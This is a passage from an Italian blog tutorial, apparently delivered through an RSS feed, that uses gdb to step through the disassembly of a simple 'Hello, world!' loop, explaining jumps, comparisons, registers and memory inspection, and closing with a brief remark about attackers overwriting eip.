<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>x <span style="color: #0000ff;">$ebp</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">8</span>
0xbfff7d10<span style="color: #339933;">:</span>     0xb7febf50</pre></div></div>

<p>Nella successiva locazione di memoria, ossia all&#8217;indirizzo <span style="text-decoration: underline;"><em>0x80483dc</em></span> è presente un salto incondizionato <em>jmp</em> alla locazione <span style="text-decoration: underline;"><em>0x80483ee</em></span>. Verifichiamo, proseguendo di una istruzione <span style="text-decoration: underline;"><em>nexti</em></span>, che l&#8217;<em>eip</em> successivo sia proprio quello:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> nexti
0x080483dc      <span style="color: #cc66cc;">6</span>         <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> i <span style="color: #0000ff;">&amp;lt</span><span style="color: #339933;">;</span> <span style="color: #cc66cc;">10</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> i r eip
eip            0x80483dc        0x80483dc
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>i <span style="color: #0000ff;">$eip</span>
0x80483dc <span style="color: #339933;">:</span>    jmp    0x80483ee</pre></div></div>

<p>Infatti, ora l&#8217;<em>eip</em> contiene un salto incondizionato <em>jmp</em>.<br />
Guardiamo adesso le successive 10 istruzioni:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>10i <span style="color: #0000ff;">$eip</span>
0x80483dc <span style="color: #339933;">:</span>    jmp    0x80483ee
0x80483de <span style="color: #339933;">:</span>    mov    DWORD PTR <span style="color: #009900;">&#91;</span>esp<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x80484d0
0x80483e5 <span style="color: #339933;">:</span>    call   0x80482f4
0x80483ea <span style="color: #339933;">:</span>    add    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x1
0x80483ee <span style="color: #339933;">:</span>    <span style="color: #b1b100;">cmp</span>    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x9
0x80483f2 <span style="color: #339933;">:</span>    jle    0x80483de
0x80483f4 <span style="color: #339933;">:</span>    mov    eax<span style="color: #339933;">,</span>0x0
0x80483f9 <span style="color: #339933;">:</span>    add    esp<span style="color: #339933;">,</span>0x14
0x80483fc <span style="color: #339933;">:</span>    <span style="color: #000066;">pop</span>    ecx
0x80483fd <span style="color: #339933;">:</span>    <span style="color: #000066;">pop</span>    ebp</pre></div></div>

<p>Da questo listato si vede non troppo facilmente per i newbe come viene effettuato il ciclo <em>for</em>.<br />
Inizialmente viene fatto un salto incondizionato sulla locazione <span style="text-decoration: underline;"><em>0x80483ee</em></span>, nella quale viene effettuata una compare <em>cmp</em>, la quale dice che se il il numero presente alla locazione <span style="text-decoration: underline;"><em>ebp &#8211; 8</em></span>,  dove precedentemente era stato inizializzato 0, è minore o uguale di 9 allora esegue l&#8217;istruzione successiva <em>jle</em> che risulta essere apppunto un salto condizionato, proprio per via della compare, all&#8217;istruzione <span style="text-decoration: underline;"><em>0x80483de</em></span>. Siccome risulta vera, 0 è minore o uguale di 9, rinizia il ciclo.</p>
<p>Nel momento in cui risulterà falsa, ossia <span style="text-decoration: underline;"><em>ebp &#8211; 8</em></span> vale 10, allora non effettuerà il salto e continuerà con l&#8217;istruzione successiva.</p>
<p>Ora controlliamo proprio che <span style="text-decoration: underline;"><em>ebp &#8211; 8</em></span> sia 0 e che quindi <em>jle</em> faccia il salto condizionato</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>i <span style="color: #0000ff;">$ebp</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">8</span>
0xbfff7d10<span style="color: #339933;">:</span>     add    BYTE PTR <span style="color: #009900;">&#91;</span>eax<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>al
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>x 0xbfff7d10
0xbfff7d10<span style="color: #339933;">:</span>     0x00000000
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>d 0xbfff7d10
0xbfff7d10<span style="color: #339933;">:</span>     <span style="color: #cc66cc;">0</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> <span style="color: #000066;">print</span> <span style="color: #0000ff;">$ebp</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">8</span>
<span style="color: #0000ff;">$2</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>void <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> 0xbfff7d10
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>x <span style="color: #0000ff;">$2</span>
0xbfff7d10<span style="color: #339933;">:</span>     0x00000000
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>d <span style="color: #0000ff;">$2</span>
0xbfff7d10<span style="color: #339933;">:</span>     <span style="color: #cc66cc;">0</span></pre></div></div>

<p>Sia con il metodo <span style="text-decoration: underline;"><em>print</em></span> che analizzando con <em>x/x</em> direttamente sulla locazione di memoria, che con <em>x/d</em> lo visualizziamo in decimale, controlliamo che ha valore 0 e che quindi il <em>jle</em> ha condizione positiva per effettuare il salto.</p>
<p>Ora invece cerchiamo di capire cosa fanno le altre operazioni. Analizzando la locazione <span style="text-decoration: underline;"><em>0x80483de</em></span> è presente un&#8217;istruzione che essenzialmente muove il valore dell&#8217;indirizzo <span style="text-decoration: underline;"><em>0x80484d0</em></span> nell&#8217;indirizzo <em>esp</em>. Verifichiamo quindi cosa contiene l&#8217;indirizzo <span style="text-decoration: underline;"><em>0x80484d0</em></span>:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>x 0x80484d0
0x80484d0<span style="color: #339933;">:</span>      0x6c6c6548
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>6cb 0x80484d0
0x80484d0<span style="color: #339933;">:</span>      <span style="color: #cc66cc;">72</span> <span style="color: #ff0000;">'H'</span>  <span style="color: #cc66cc;">101</span> <span style="color: #ff0000;">'e'</span> <span style="color: #cc66cc;">108</span> <span style="color: #ff0000;">'l'</span> <span style="color: #cc66cc;">108</span> <span style="color: #ff0000;">'l'</span> <span style="color: #cc66cc;">111</span> <span style="color: #ff0000;">'o'</span> <span style="color: #cc66cc;">44</span> <span style="color: #ff0000;">','</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span><span style="color: #000066;">s</span> 0x80484d0
0x80484d0<span style="color: #339933;">:</span>       <span style="color: #ff0000;">&quot;Hello, world!&quot;</span></pre></div></div>

<p>Notiamo che contiene il valore <span style="text-decoration: underline;"><em>0x6c6c6548</em></span> che codificato in ASCII corrisponde ad &#8220;Hello,&#8221; infatti tramite l&#8217;opzione <em>c</em> effettua la codifica di ogni singolo byte in ASCII mentre con <em>s</em> converte proprio tutta la stringa.</p>
<p>Per ultimo l&#8217;istruzione alla locazione <span style="text-decoration: underline;"><em>0x80483ea</em></span> non fa altro che incrementare di uno il valore all&#8217;interno di <span style="text-decoration: underline;"><em>ebp &#8211; 8</em></span>, la quale poi viene poi controllata dal salto condizionato.</p>
<p>Giusto per completare il discorso, procediamo con diversi <span style="text-decoration: underline;"><em>nexti</em></span> fino alla fine del del ciclo <em>for</em> ossia quando l&#8217;<span style="text-decoration: underline;"><em>ebp &#8211; 8</em></span> contiene il valore 10. Infine controlliamo che l&#8217;<em>eip</em> punta all&#8217;uscita del ciclo:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>d 0xbfff7d10
0xbfff7d10<span style="color: #339933;">:</span>     <span style="color: #cc66cc;">10</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> i r eip
eip            0x80483ee        0x80483ee
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>10i <span style="color: #0000ff;">$eip</span>
0x80483ee <span style="color: #339933;">:</span>    <span style="color: #b1b100;">cmp</span>    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x9
0x80483f2 <span style="color: #339933;">:</span>    jle    0x80483de
0x80483f4 <span style="color: #339933;">:</span>    mov    eax<span style="color: #339933;">,</span>0x0
0x80483f9 <span style="color: #339933;">:</span>    add    esp<span style="color: #339933;">,</span>0x14
0x80483fc <span style="color: #339933;">:</span>    <span style="color: #000066;">pop</span>    ecx
0x80483fd <span style="color: #339933;">:</span>    <span style="color: #000066;">pop</span>    ebp
0x80483fe <span style="color: #339933;">:</span>    lea    esp<span style="color: #339933;">,</span><span style="color: #009900;">&#91;</span>ecx<span style="color: #339933;">-</span>0x4<span style="color: #009900;">&#93;</span>
0x8048401 <span style="color: #339933;">:</span>    ret
0x8048402<span style="color: #339933;">:</span>      nop
0x8048403<span style="color: #339933;">:</span>      nop
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> nexti
0x080483f2      <span style="color: #cc66cc;">6</span>         <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> i <span style="color: #0000ff;">&amp;lt</span><span style="color: #339933;">;</span> <span style="color: #cc66cc;">10</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> i r eip
eip            0x80483f2        0x80483f2
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> nexti
<span style="color: #cc66cc;">10</span>        <span style="color: #000066;">return</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> i r eip
eip            0x80483f4        0x80483f4</pre></div></div>

<p>Possiamo vedere dall&#8217;output come appunto l&#8217;<em>eip</em> punta <span style="text-decoration: underline;"><em>0x80483f4</em></span> e non più <span style="text-decoration: underline;"><em>0x80483de</em></span> come nei precedenti casi, confermando appunto l&#8217;uscita dal ciclo <em>for</em>.</p>
<p>Bene ora che abbiamo appreso i concetti base del debugging immaginate cosa potrebbe capitare se un attaccante riesca a sovrascrivere l<em>&#8216;eip</em> facendolo puntare ad una locazione di memoria arbitraria a lui congeniale!</p>
<p>Buon degugging a tutti.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.manzotti.eu/le-basi-dellassembly-e-del-debugging-su-unix/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

